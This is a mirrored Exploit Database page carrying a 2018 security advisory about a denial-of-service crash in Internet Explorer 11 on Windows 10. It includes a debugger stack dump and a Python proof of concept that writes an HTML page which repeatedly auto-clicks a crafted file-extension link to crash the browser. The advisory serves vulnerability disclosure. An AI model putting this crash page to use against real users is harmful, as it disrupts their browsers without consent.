Microsoft Internet Explorer 11.371.16299.0 (Windows 10) – Denial Of Service

• Exploit Database
• 109 阅读

• 作者： hyp3rlinx
  日期： 2018-04-24
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44525/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154

  &apos;&apos;&apos; [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source:http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-(Win-10)-DENIAL-OF-SERVICE.txt [+] ISR: ApparitionSec     Vendor: ======= www.microsoft.com     Product: ======== Internet Explorer (Windows 10) v11.371.16299.0   Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995.     Vulnerability Type: ================== Denial Of Service     CVE Reference: ============== N/A     Security Issue: ================ A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself, if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser.   Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :)   Tested Windows 10   Stack Dump: ========== (2e8c.27e4): Access violation - code c0000005 (first/second chance not available) ntdll!NtWaitForMultipleObjects+0x14: 00007ffa<code>be5f0e14 c3ret 0:015> r rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003 rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003 rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000 r8=0000000000000000r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00000246 ntdll!NtWaitForMultipleObjects+0x14: 00007ffa</code>be5f0e14 c3ret   CONTEXT:(.ecxr) rax=0000000000000000 rbx=000001fd4a2ec9d8 rcx=0000000000000000 rdx=00007ffabb499398 rsi=000001fd4a5b0ce0 rdi=0000000000000000 rip=00007ffabb7fc646 rsp=000000cca6efe4f8 rbp=000000cca6efe600 r8=0000000000000000r9=0000000000008000 r10=00007ffabb499398 r11=0000000000000000 r12=0000000000000000 r13=00007ffabb48d060 r14=0000000000000002 r15=0000000000000001 iopl=0 nv up ei pl zr na po nc cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010246 KERNELBASE!StrCmpICW+0x6: 00007ffa<code>bb7fc646 450fb70bmovzx r9d,word ptr [r11] ds:00000000</code>00000000=???? Resetting default scope   FAULTING_IP: KERNELBASE!StrCmpICW+6 00007ffa`bb7fc646 450fb70bmovzx r9d,word ptr [r11]   EXCEPTION_RECORD:(.exr -1) ExceptionAddress: 00007ffabb7fc646 (KERNELBASE!StrCmpICW+0x0000000000000006) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 0000000000000000 Parameter[1]: 0000000000000000 Attempt to read from address 0000000000000000   DEFAULT_BUCKET_ID:NULL_POINTER_READ PROCESS_NAME:iexplore.exe       POC video URL: ============== https://vimeo.com/265691256/       Exploit/POC: ============ 1) Run below python script to create "IE-Win10-Crasha.html" 2) Open IE-Win10-Crasha.html in InternetExplorer v11.371.16299 on Windows 10 &apos;&apos;&apos;   payload=(&apos;<br>\n&apos;+ &apos;<center>MSIE v11.371.16299 Denial Of Service by hyp3rlinx <br>\n&apos;+ &apos;<a href="https://www.exploit-db.com/exploits/44525/.cmd:" id="hate">crashy ware shee</a>\n&apos;+ &apos;<br>\n&apos;+ &apos;Tested successfully on Windows 10\n&apos;+ &apos;</center><script>\n&apos; &apos;function doit(){\n&apos;+ &apos;document.getElementById("hate").click();\n&apos;+ &apos;alert("DOH!");\n&apos;+ &apos;}\n&apos;+ &apos;setInterval("doit()", 2000)\n&apos;+ &apos;</script>&apos;)   file=open("IE-Win10-Crasha.html","w") file.write(payload) file.close()   print &apos;MS InternetExplorer (Win 10) &apos; print &apos;Denial Of Service File Created.&apos; print &apos;hyp3rlinx&apos;   &apos;&apos;&apos; Network Access: =============== Remote       Severity: ========= Medium       Disclosure Timeline: ============================= Vendor Notification: April 18, 2018 vendor closes thread : April 19, 2018 April 20, 2018 : Public Disclosure       [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).   hyp3rlinx &apos;&apos;&apos;